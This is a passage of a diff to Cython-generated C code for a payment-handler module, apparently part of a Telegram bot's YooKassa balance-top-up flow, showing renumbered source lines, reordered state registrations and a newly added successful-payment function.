__Pyx_Py3MetaclassPrepare(__pyx_t_2, __pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_yookassa_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 54, __pyx_L1_error) + __pyx_t_6 = __Pyx_Py3MetaclassPrepare(__pyx_t_2, __pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_yookassa_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_3 != __pyx_t_5) { - if (unlikely((PyDict_SetItemString(__pyx_t_6, "__orig_bases__", __pyx_t_5) < 0))) __PYX_ERR(0, 54, __pyx_L1_error) + if (unlikely((PyDict_SetItemString(__pyx_t_6, "__orig_bases__", __pyx_t_5) < 0))) __PYX_ERR(0, 55, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yookassa_pay.py":55 - * - * class ReplenishBalanceState(StatesGroup): - * choosing_amount_yookassa = State() # <<<<<<<<<<<<<< - * waiting_for_payment_confirmation_yookassa = State() - * entering_custom_amount_yookassa = State() - */ - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 55, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_7); - __pyx_t_8 = NULL; - __pyx_t_9 = 0; - #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_7))) { - __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); - if (likely(__pyx_t_8)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); - __Pyx_INCREF(__pyx_t_8); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_7, function); - __pyx_t_9 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; - __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); - __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 55, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - } - if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_choosing_amount_yookassa, __pyx_t_5) < 0) __PYX_ERR(0, 55, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - - /* "handlers/payments/yookassa_pay.py":56 - * class ReplenishBalanceState(StatesGroup): - * choosing_amount_yookassa = State() - * waiting_for_payment_confirmation_yookassa = State() # <<<<<<<<<<<<<< - * entering_custom_amount_yookassa = State() - * - */ __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; @@ -13859,16 +12612,9 @@ if (!__Pyx_RefNanny) { __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } - if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_5) < 0) __PYX_ERR(0, 56, __pyx_L1_error) + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_choosing_amount_yookassa, __pyx_t_5) < 0) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yookassa_pay.py":57 - * choosing_amount_yookassa = State() - * waiting_for_payment_confirmation_yookassa = State() - * entering_custom_amount_yookassa = State() # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; @@ -13893,215 +12639,193 @@ if (!__Pyx_RefNanny) { __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } - if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_entering_custom_amount_yookassa, __pyx_t_5) < 0) __PYX_ERR(0, 57, __pyx_L1_error) + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_5) < 0) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yookassa_pay.py":54 - * - * - * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< - * choosing_amount_yookassa = State() - * waiting_for_payment_confirmation_yookassa = State() - */ - __pyx_t_5 = __Pyx_Py3ClassCreate(__pyx_t_2, __pyx_n_s_ReplenishBalanceState, __pyx_t_3, __pyx_t_6, NULL, 0, 0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_entering_custom_amount_yookassa, __pyx_t_5) < 0) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + __pyx_t_5 = __Pyx_Py3ClassCreate(__pyx_t_2, __pyx_n_s_ReplenishBalanceState, __pyx_t_3, __pyx_t_6, NULL, 0, 0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_5) < 0) __PYX_ERR(0, 54, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_5) < 0) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":60 - * - * - * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< - * async def process_callback_pay_yookassa( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_pay_yookassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_3 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_pay_yookassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 60, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 60, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 60, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_yookassa, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 61, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 61, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 61, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_yookassa, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_yookassa, __pyx_t_3) < 0) __PYX_ERR(0, 60, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_yookassa, __pyx_t_3) < 0) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":118 - * - * - * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 118, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 118, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__29, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__32, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 118, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 118, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__3)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 118, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 119, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 119, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__3)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_6); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_6) < 0) __PYX_ERR(0, 118, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_6) < 0) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/yookassa_pay.py":192 - * - * - * async def yookassa_webhook(request): # <<<<<<<<<<<<<< - * """ - * Yookassa . - */ - __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_7yookassa_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_yookassa_webhook, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__11)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 192, __pyx_L1_error) + __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_7yookassa_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_yookassa_webhook, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__11)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_yookassa_webhook, __pyx_t_6) < 0) __PYX_ERR(0, 192, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_yookassa_webhook, __pyx_t_6) < 0) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/yookassa_pay.py":236 - * - * - * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_10process_successful_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_successful_payment, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__14)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 236, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_successful_payment, __pyx_t_6) < 0) __PYX_ERR(0, 235, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = PyObject_RichCompare(__pyx_t_3, __pyx_n_u_enter_custom_amount_yookassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_t_6 = PyObject_RichCompare(__pyx_t_3, __pyx_n_u_enter_custom_amount_yookassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 236, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 236, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__14)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 236, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 247, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 247, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_13process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__17)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_6); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_6) < 0) __PYX_ERR(0, 236, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_6) < 0) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/yookassa_pay.py":252 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(callback_query: types.CallbackQuery | types.Message, session: Any): - * conn = await asyncpg.connect(DATABASE_URL) - */ - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 252, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 252, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_entering_custom_amount_yookassa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_entering_custom_amount_yookassa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = 